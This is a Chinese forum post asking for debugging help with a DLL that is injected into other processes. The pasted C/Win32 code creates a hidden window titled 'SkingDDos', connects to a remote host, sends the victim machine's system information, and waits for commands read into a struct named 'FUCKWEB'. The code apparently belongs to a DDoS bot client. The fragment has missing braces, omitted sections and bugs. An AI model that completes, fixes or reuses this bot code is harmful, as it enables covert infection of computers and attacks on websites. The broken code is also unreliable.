这个DLL是注入到其他进程里的 WndProc只能收到部分消息
是不是WndProc只有MFC的dll才能创建........?
还是父线程/子线程的问题呢.....?以下是代码:::
WNDCLASS wndc;
LPSTR szAppName="Sking";
wndc.style=0;
wndc.lpfnWndProc=WndProc;
wndc.cbClsExtra=0;
wndc.cbWndExtra=0; wndc.hInstance=NULL;
wndc.hIcon=NULL;//LoadIcon(NULL,IDI_APPLICATION);
wndc.hCursor=NULL;//LoadCursor(NULL,IDC_ARROW);
wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
wndc.lpszMenuName=NULL;
wndc.lpszClassName=szAppName;
RegisterClass(&wndc);
hWnd=CreateWindow(szAppName,"SkingDDos",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,NULL,NULL);
ShowWindow(hWnd,SW_HIDE);
UpdateWindow(hWnd);......................
if(connect(sock_client,(sockaddr*)&DestAddr,sizeof(DestAddr))==SOCKET_ERROR )
{ Sleep(3000);
}
GetSystemInfo(sysinfo); if (SOCKET_ERROR!=send(sock_client,(char *)&sysinfo,sizeof(SYSTEMINIT),0))
{             }
//注册异步socket
if (WSAAsyncSelect(sock_client,hWnd,WM_SOCKET,FD_READ|FD_CLOSE)==SOCKET_ERROR)
{ }
//开始线程
hThread=(HANDLE)::CreateThread(NULL,0,SocketThreadProc,&ClientPa,CREATE_SUSPENDED,&uiThreadID);
if (hThread=!NULL)
{
ResumeThread(hThread);
}
}
catch(...)
{} while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}...................LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 

switch(message) 

case WM_SOCKET: 
               MessageBox(NULL,"开始线程1","开始线程1",MB_OK); if(WSAGETSELECTERROR(lParam)) 

closesocket(wParam); 
break;


switch(WSAGETSELECTEVENT(lParam)) 

//读取输入
case FD_READ:
if (recv(sock_client,(char*)&fuckweb,sizeof(FUCKWEB),0)!=SOCKET_ERROR)
{

中间部分代码省略........高手讲讲